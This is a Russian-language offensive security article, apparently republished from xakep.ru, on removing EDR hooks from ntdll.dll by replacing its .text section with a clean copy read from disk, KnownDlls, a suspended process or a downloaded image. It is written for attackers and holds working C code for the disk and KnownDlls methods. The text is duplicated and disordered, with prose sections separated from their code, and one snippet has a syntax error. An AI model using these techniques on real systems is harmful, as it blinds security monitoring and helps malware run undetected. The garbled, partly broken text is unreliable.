Средства защиты, в частности EDR, любят ставить хуки. Хук — это специальная инструкция, которая позволяет перехватить поток управления программы при вызове определенной функции и в результате контролировать, отслеживать и изменять данные, переданные этой функции. В этой статье я покажу, как проводить обратный процесс — анхукинг.
Анхукинг позволяет снять хук, который был установлен средством защиты. Определить наличие хука несложно. Вот наглядный пример того, как он может выглядеть.
Здесь EDR поставил хук на NtAllocateVirtualMemory(). Эта функция будет последней в User Mode, она вызывается лишь для инициализации системного вызова и выделения памяти путем обращения к ядру. В стоковой конфигурации, когда хука нет, никаких безусловных jmp-переходов быть не должно. Тут мы видим иную ситуацию: переход как раз таки есть, поток управления отдается непонятно кому и непонятно куда. Поэтому нам как атакующим, да и просто чтобы уклониться от обнаружения, нужна операция анхукинга, которая снимет этот хук, и, как следствие, средство защиты потеряет контроль над потоком выполнения программы.
Отмечу лишь, что подобный способ обхода хуков — один из множества. Можно, например, совершать Direct- и Indirect-сисколы, но стоит помнить, что получится обойти только хуки, которые стоят в User Mode. Если средство защиты применяет хуки Kernel Mode (например, SSDT Hooking), то подобные методы окажутся бесполезны. На будущее: SSDT — это специальная таблица, благодаря которой сопоставляются сискол и действие ядра Windows. Есть, конечно, Kernel Patch Protection, который мешает устанавливать подобные хуки, но это уже совсем другая история.
В статье я рассмотрю наиболее популярные способы снятия хуков, от простого к сложному.
Мы будем использовать функции
Итак, сначала нужно считать содержимое библиотеки ntdll.dll. Начнем со стандартной функции ReadFile(). По умолчанию ntdll.dll лежит в системной папке
Остается проверить, что наш код верно работает. Если ты пишешь в Visual Studio, то открывай пункт «Отладка → Параметры» и ставь две галочки, чтобы можно было видеть содержимое памяти.
После чего переходи по пути «Отладка → Окна → Память», и сможешь видеть содержимое памяти текущего отлаживаемого процесса.
Остается лишь убедиться, что по адресу, который занесется в переменную ppNtdllBuf, лежат верные значения. Так как библиотека ntdll.dll — PE-файл, то первые байты должны быть равны MZ. Это так называемая сигнатура, благодаря которой можно убедиться, что мы получили правильный адрес.
Выходит, наша ntdll.dll успешно прочитана с диска. Можно также использовать и иной API — CreateFileMapping() и MapViewOfFile(). Эти функции служат для отображения файла в память. Разработчики часто применяют этот механизм, чтобы не писать каждый раз информацию на диск, теряя в производительности программы, а вместо этого записывать данные непосредственно в память и лишь потом, после нескольких записей подряд, сохранять их на диск. Функция для получения содержимого ntdll.dll будет немногим отличаться от предыдущей.
Возможно, этот метод будет даже чуть более тихим, так как при таком маппинге не срабатывает колбэк PsSetLoadImageNotifyRoutine, который может быть установлен антивирусным ПО. По крайней мере, так написано на MSDN.
Следующий шаг — получить адрес хукнутой ntdll.dll. Она уже находится в адресном пространстве нашего процесса. Предлагаю получить ее адрес из PEB. PEB — специальная структура данных, которая содержит информацию о текущем процессе.
Внутри этой структуры есть элемент Ldr, представляющий собой другую структуру, PEB_LDR_DATA.
Внутри PEB_LDR_DATA — еще одна структура (это предпоследняя матрешка, честно). Называется она LIST_ENTRY.
LIST_ENTRY можно считать этаким двусвязным списком. Через элемент Flink можно получить доступ к следующему элементу двусвязного списка, а через элемент Blink — к предыдущему. Каждый элемент этого двусвязного списка представлен структурой LDR_TABLE_ENTRY, которая содержит информацию о каждой DLL-библиотеке, загруженной в процесс.
Больше всего нас интересуют элементы DllBase и FullDllName, у которых внутри базовый адрес загрузки библиотеки и ее имя соответственно. Поэтому предлагаю пробежаться по этому списку, обнаружить элемент, у которого FullDllName равно
Осталось всего ничего — вычленяем адреса секций .text и заменяем одну секцию другой! Причем опять есть два варианта получения этой секции. Можем пойти через Optional Header (IMAGE_OPTIONAL_HEADER), внутри которого содержится RVA-адрес секции .text, элемент BaseOfCode, либо через IMAGE_SECTION_HEADER, пытаясь обнаружить секцию с именем .text.
Причем во втором варианте мы могли бы избежать использования функции strcmp следующим условием:
Сначала выражение *(ULONG*) приводит к тому, что имя .text преобразуется в xet. , так как младший байт будет прочитан первым и помещен в старшую позицию значения ULONG, а самый старший байт будет прочитан последним и помещен последним. Далее выполняется побитовое ИЛИ для выравнивания полученного значения по 32-битной границе. И наконец, происходит сравнение.
Остается лишь перезаписать одну секцию .text другой. Для этого можно использовать стандартный memcpy(). Предлагаю также свести в отдельную функцию, которой достаточно лишь передачи базового адреса нехукнутой ntdll.
Думаю, у тебя появились вопросы по поводу следующего участка кода:
Смещение секции .text различается в зависимости от того, каким образом мы считываем ntdll.dll с диска. Если мы считываем ее через CreateFileMapping(), то смещение всегда будет таким:
Если же считывать через ReadFile(), то иногда выйдет 1024, а иногда 4096. Найти закономерности не получилось, поэтому сначала мы добавляем смещение 1024, проверяем, соответствуют ли байты по этому адресу байтам оригинальной, хукнутой ntdll. Если не соответствуют, значит, оффсет 4096, но мы уже прибавили 1024, поэтому добавляем 3072. И вновь проводим проверку.
В результате чего мы сможем без проблем заменить одну библиотеку другой, что позволит снять хук. Полный код — в моем репозитории. Есть похожая реализация TheD1rkMtr, он добавил еще и патч от ETW.
Извлечь библиотеку возможно с помощью функции NtOpenSection(), по неизвестным причинам использование OpenFileMapping() приводит к ошибке ERROR_BAD_PATHNAME. Прототип у функции следующий.
Обрати внимание на последний параметр — ObjectAttributes. Его нужно инициализировать с помощью функции InitializeObjectAttributes().
Теперь мы сможем без проблем передать инициализированный объект в функцию NtOpenSection(), а затем отразить ntdll.dll на адресное пространство текущего процесса через ранее описанный MapViewOfFile(). Предлагаю вновь свести всё до функции, возвращающей адрес, по которому библиотека спроецирована в память.
После получения адреса проверяем, что там действительно находится наша библиотека.
Остается лишь так же грамотно распарсить PE и заменить одну секцию .text другой. Здесь все проще, чем при чтении с диска. Всегда будет одинаковое смещение, равное 4096.
Код буквально скопирован из предыдущей части статьи. Разве что теперь оффсет всегда один и тот же. Для чистоты эксперимента можем проверить, что действительно копируется одна секция .text на другую.
Полный код я выложил на GitHub. И опять же у нашего друга TheD1rkMtr есть своя реализация этого метода.
Здесь есть одна особенность, о которой важно знать: ты должен использовать 64-битную программу на 64-битной системе. Если запускать программу для х86 на системе x86-64, то в процессе будет находиться ntdll.dll для х86, а из KnownDll прилетит DLL для x86-64, что при перезаписи приведет к крашу.
Затем, возобновляя основной поток процесса, например через ResumeThread(), подтягиваем в него оставшиеся библиотеки.
Ты можешь проверить это самостоятельно с помощью простого кода.
В библиотеке ntdll.dll, которая находится в приостановленном процессе, могут отсутствовать хуки по той причине, что оставшиеся DLL, в том числе антивирусные, банально не подгрузились. Конечно, такое поведение встречается все реже и реже, но о нем не стоит забывать совсем.
Поэтому остается лишь получить базовый адрес загрузки этой ntdll.dll, достать его, а затем скопировать секцию .text на ntdll.dll своего процесса. Единственная загвоздка — для копирования секции .text требуется знать ее размер. Достать, конечно же, можно и через парсинг PE. Предлагаю свести всё до отдельной функции, которой нужно передать базовый адрес библиотеки, а она вернет ее размер.
Остается всего ничего — прочитать память процесса, который мы запустили в приостановленном состоянии. Опять же реализуем отдельную функцию, которая вернет адрес ntdll.dll.
Оффсет в таком случае будет стандартный — 4096.
Как всегда, на GitHub можешь посмотреть исходники моей реализации и реализации TheD1rkMtr.
Нам остается лишь разобраться, как генерируются ссылки. С ходу этого сделать не получилось. Предпоследняя часть URL — не более чем непонятный набор символов.
Вручную перебрав все ссылки с первой страницы (не на питоне же автоматизировать, в самом деле, мы ведь серьезные люди), заметил, что у двух ссылок есть повторяющиеся в конце шесть символов.
Наученный горьким опытом решения стеганографического чуда на CTF, мой воспаленный мозг понимает, что это зацепка. Копируем эти символы и начинаем искать. Обнаруживаем интересную кнопку Show, которая позволяет получить больше информации о файле. Наш 1af000 нигде не встречается, но попробуем конвертировать из HEX в десятичное значение. И фортуна посмотрела в нашу сторону! Это оказался параметр virtualSize.
Вычленяем первую часть, также конвертируем ее в десятичное значение и узнаем, что это
Остается лишь додуматься, как получить эти данные. У ntdll.dll тоже обычный PE, поэтому стоит глядеть именно в эту сторону. Временную метку получится извлечь из структуры
А размер получаем из элемента SizeOfImage структуры IMAGE_OPTIONAL_HEADER.
Есть еще SizeOfCode, но это размер непосредственно кодовой части. Я подозреваю, что секции .text, поэтому она нам не подходит. Нужен размер всего образа файла
Поэтому остается лишь запрашивать эту информацию из системы, а затем генерировать URL определенного вида.
После чего, используя WinHTTP, качаем нужную библиотеку и внедряем в свое адресное пространство ее секцию .text взамен хукнутой. Алгоритм получения библиотеки с сервера тоже укладывается в одну маленькую функцию.
Отдельно я вынес функцию GetPayloadFromUrl(), которая принимает URL для скачивания ntdll.dll, а возвращает указатель на адрес в памяти, где будет лежать либа размером sNtdllSize.
Функция открывает интернет‑сессию, после чего читает куски размером 1024 байта до тех пор, пока не будет считано меньше 1024 байтов. Если считано меньше 1024 байт, значит, весь файл был успешно передан и можно закрывать сессию.
Несмотря на то что нехукнутая ntdll.dll будет считываться с веб‑сервера, оффсет секции .text невозможно знать заранее. Он то 1024, то 4096. Поэтому используем код из раздела с чтением библиотеки из диска — будем опять проверять начальные байты по оффсету 1024, если совпадут, то копируем по этому адресу, если нет, то добавляем 3072.
Обрати внимание, что на функции ReadNtdllFromServer() программа может как бы зависнуть. Не переживай, она работает, качает нужную библиотеку.
Этот способ, думаю, самый удобный. Его главный недостаток в том, что требуется доступ в интернет со скомпрометированного хоста.
Полный код реализации для твоих собственных экспериментов я также прикладываю:
Автор @MichelleVermishelle
источник xakep.ru
Анхукинг позволяет снять хук, который был установлен средством защиты. Определить наличие хука несложно. Вот наглядный пример того, как он может выглядеть.
Здесь EDR поставил хук на NtAllocateVirtualMemory(). Эта функция будет последней в User Mode, она вызывается лишь для инициализации системного вызова и выделения памяти путем обращения к ядру. В стоковой конфигурации, когда хука нет, никаких безусловных jmp-переходов быть не должно. Тут мы видим иную ситуацию: переход как раз таки есть, поток управления отдается непонятно кому и непонятно куда. Поэтому нам как атакующим, да и просто чтобы уклониться от обнаружения, нужна операция анхукинга, которая снимет этот хук, и, как следствие, средство защиты потеряет контроль над потоком выполнения программы.
Отмечу лишь, что подобный способ обхода хуков — один из множества. Можно, например, совершать Direct- и Indirect-сисколы, но стоит помнить, что получится обойти только хуки, которые стоят в User Mode. Если средство защиты применяет хуки Kernel Mode (например, SSDT Hooking), то подобные методы окажутся бесполезны. На будущее: SSDT — это специальная таблица, благодаря которой сопоставляются сискол и действие ядра Windows. Есть, конечно, Kernel Patch Protection, который мешает устанавливать подобные хуки, но это уже совсем другая история.
В статье я рассмотрю наиболее популярные способы снятия хуков, от простого к сложному.
СНЯТИЕ ХУКА ЧЕРЕЗ ЧТЕНИЕ БИБЛИОТЕКИ С ДИСКА
Этот метод можно считать одним из самых простых. Он основан на том, что библиотека ntdll.dll подгружается в память так же, как находится на диске. Причем хуки установлены непосредственно в памяти, на диске образ девственно чист. Поэтому мы должны будем лишь считать библиотеку с диска, достать из нее PE-секцию .text (в ней находится код), а после перезаписать секцию .text хукнутой библиотеки секцией, считанной с диска.
Мы будем использовать функции
ReadFile() и MapViewOfFile(), и EDR может отслеживать их, поэтому есть риск, что наша ntdll.dll, загруженная с диска, будет изменена при попытке подгрузить ее содержимое в программу. Поэтому придется использовать иной способ снятия хука, например тащить ntdll.dll с некоего удаленного сервера. Этот алгоритм реализуем позже. За идею большое спасибо Ральфу.Итак, сначала нужно считать содержимое библиотеки ntdll.dll. Начнем со стандартной функции ReadFile(). По умолчанию ntdll.dll лежит в системной папке
\Windows\System32. Предлагаю создать функцию, которая будет возвращать буфер с содержимым ntdll.dll.
Код:
#define NTDLL "NTDLL.DLL"
BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cNtdllPath[MAX_PATH] = { 0 };
HANDLE hFile = NULL;
DWORD dwNumberOfBytesRead = NULL, dwFileLen = NULL;
PVOID pNtdllBuffer = NULL;
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
goto EndOfFunc;
}
sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
goto EndOfFunc;
}
dwFileLen = GetFileSize(hFile, NULL);
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {
printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
printf("[i] Read %d of %d Bytes \n", dwNumberOfBytesRead, dwFileLen);
goto EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
После чего переходи по пути «Отладка → Окна → Память», и сможешь видеть содержимое памяти текущего отлаживаемого процесса.
Остается лишь убедиться, что по адресу, который занесется в переменную ppNtdllBuf, лежат верные значения. Так как библиотека ntdll.dll — PE-файл, то первые байты должны быть равны MZ. Это так называемая сигнатура, благодаря которой можно убедиться, что мы получили правильный адрес.
Выходит, наша ntdll.dll успешно прочитана с диска. Можно также использовать и иной API — CreateFileMapping() и MapViewOfFile(). Эти функции служат для отображения файла в память. Разработчики часто применяют этот механизм, чтобы не писать каждый раз информацию на диск, теряя в производительности программы, а вместо этого записывать данные непосредственно в память и лишь потом, после нескольких записей подряд, сохранять их на диск. Функция для получения содержимого ntdll.dll будет немногим отличаться от предыдущей.
Код:
#define NTDLL "NTDLL.DLL"
BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
HANDLE hFile = NULL,
hSection = NULL;
CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cNtdllPath[MAX_PATH] = { 0 };
PBYTE pNtdllBuffer = NULL;
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection == NULL) {
printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
if (hFile)
CloseHandle(hFile);
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
Следующий шаг — получить адрес хукнутой ntdll.dll. Она уже находится в адресном пространстве нашего процесса. Предлагаю получить ее адрес из PEB. PEB — специальная структура данных, которая содержит информацию о текущем процессе.
Код:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
Код:
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
Код:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
Код:
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
C:\Windows\\System32\ntdll.dll, и вычленить его DllBase.
Код:
#include <winternl.h>
#include <algorithm>
#include <string>
...
PVOID FetchLocalNtdllBaseAddress() {
// Достаем TEB (это как PEB, только для потока)
PTEB teb = static_cast<PTEB>(NtCurrentTeb());
// ИЗ TEB получаем PEB
PPEB peb = teb->ProcessEnvironmentBlock;
// Голова списка — верхний элемент. Просто по нему будем отслеживать, пробежались ли мы по всему списку или нет
PLIST_ENTRY listHead = &peb->Ldr->InMemoryOrderModuleList;
// Следующий за головой элемент
PLIST_ENTRY listEntry = listHead->Flink;
ULONG addr = 0X0;
while (listEntry != listHead)
{
PLDR_DATA_TABLE_ENTRY ldrEntry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
std::wstring dllName = ldrEntry->FullDllName.Buffer;
std::transform(dllName.begin(), dllName.end(), dllName.begin(), ::tolower);
if (dllName.find(L"c:\\windows\\system32\\ntdll.dll") != std::wstring::npos) {
return ldrEntry->DllBase;
}
listEntry = listEntry->Flink;
}
return (PVOID)addr;
}
Осталось всего ничего — вычленяем адреса секций .text и заменяем одну секцию другой! Причем опять есть два варианта получения этой секции. Можем пойти через Optional Header (IMAGE_OPTIONAL_HEADER), внутри которого содержится RVA-адрес секции .text, элемент BaseOfCode, либо через IMAGE_SECTION_HEADER, пытаясь обнаружить секцию с именем .text.
Код:
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOID pLocalNtdllTxt = (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll);
SIZE_T sNtdllTxtSize = pLocalNtHdrs->OptionalHeader.SizeOfCode;
- pLocalNtdll — базовый адрес ntdll.dll, полученный ранее;
- pLocalNtdllTxt — адрес секции .text;
- sNtdllTxtSize — размер секции.
Код:
PVOID pLocalNtdll = FetchLocalNtdllBaseAddress();
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
if( strcmp(pSectionHeader[i]->Name, ".text") == 0) ) {
PVOID pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
SIZE_T sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
Код:
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
Остается лишь перезаписать одну секцию .text другой. Для этого можно использовать стандартный memcpy(). Предлагаю также свести в отдельную функцию, которой достаточно лишь передачи базового адреса нехукнутой ntdll.
Код:
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll /*адрес нехукнутой ntdll в памяти*/) {
// Базовый адрес загрузки хукнутой ntdll.dll
PVOID pLocalNtdll;
pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
// Получаем заголовок dos
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOID pLocalNtdllTxt = NULL, // Адрес секции .text хукнутой либы
pRemoteNtdllTxt = NULL; // Адрес секции .text анхукнутой либы
SIZE_T sNtdllTxtSize = NULL; // Размер секции .text
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
// Получаем адрес секции .text хукнутой ntdll.dll
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
}
#endif
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Код:
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
// Получаем адрес секции .text хукнутой ntdll.dll
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
}
#endif
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
Код:
pSectionHeader[i].VirtualAddress
В результате чего мы сможем без проблем заменить одну библиотеку другой, что позволит снять хук. Полный код — в моем репозитории. Есть похожая реализация TheD1rkMtr, он добавил еще и патч от ETW.
СНЯТИЕ ХУКА ЧЕРЕЗ KNOWNDLLS
KnownDlls — специальный раздел в реестре, где содержатся DLL, которые загрузчик Windows использует для оптимизации процесса загрузки приложений. В Windows XP и более ранних версиях каталог KnownDlls располагался в папке C:\Windows\System32. В более новых версиях Windows этот каталог встроен в ОС, поэтому прямого доступа к нему нет. Список всех «известных» DLL можно найти вот в этом разделе реестра:
Код:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Код:
NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
Код:
VOID InitializeObjectAttributes(
[out] POBJECT_ATTRIBUTES p,
[in] PUNICODE_STRING n,
[in] ULONG a,
[in] HANDLE r, // NULL
[in, optional] PSECURITY_DESCRIPTOR s // NULL
);
- p — указатель на структуру OBJECT_ATTRIBUTES;
- n — указатель на структуру UNICODE_STRING, которая будет содержать имя ntdll.dll из KnownDll;
- s — устанавливаем значение в OBJ_CASE_INSENSITIVE.
Код:
UNICODE_STRING.Buffer = (PWSTR)L"\KnownDlls\ntdll.dll";
UNICODE_STRING.Length = wcslen(L"\KnownDlls\ntdll.dll") * sizeof(WCHAR);
UNICODE_STRING.MaximumLength = UniStr.Length + sizeof(WCHAR);
Код:
#include <winternl.h>
#define NTDLL L"\\KnownDlls\\ntdll.dll"
typedef NTSTATUS (NTAPI* fnNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
BOOL MapNtdllFromKnownDlls(OUT PVOID* ppNtdllBuf) {
HANDLE hSection = NULL;
PBYTE pNtdllBuffer = NULL;
NTSTATUS STATUS = NULL;
UNICODE_STRING UniStr = { 0 };
OBJECT_ATTRIBUTES ObjAtr = { 0 };
UniStr.Buffer = (PWSTR)NTDLL;
UniStr.Length = wcslen(NTDLL) * sizeof(WCHAR);
UniStr.MaximumLength = UniStr.Length + sizeof(WCHAR);
InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection");
STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAtr);
if (STATUS != 0x00) {
printf("[!] NtOpenSection Failed With Error : 0x%0.8X \n", STATUS);
goto _EndOfFunc;
}
pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
Остается лишь так же грамотно распарсить PE и заменить одну секцию .text другой. Здесь все проще, чем при чтении с диска. Всегда будет одинаковое смещение, равное 4096.
Код:
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
PVOID pLocalNtdllTxt = NULL,
pRemoteNtdllTxt = NULL;
SIZE_T sNtdllTxtSize = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Полный код я выложил на GitHub. И опять же у нашего друга TheD1rkMtr есть своя реализация этого метода.
Здесь есть одна особенность, о которой важно знать: ты должен использовать 64-битную программу на 64-битной системе. Если запускать программу для х86 на системе x86-64, то в процессе будет находиться ntdll.dll для х86, а из KnownDll прилетит DLL для x86-64, что при перезаписи приведет к крашу.
СНЯТИЕ ХУКА ЧЕРЕЗ ПРИОСТАНОВЛЕННЫЙ ПРОЦЕСС
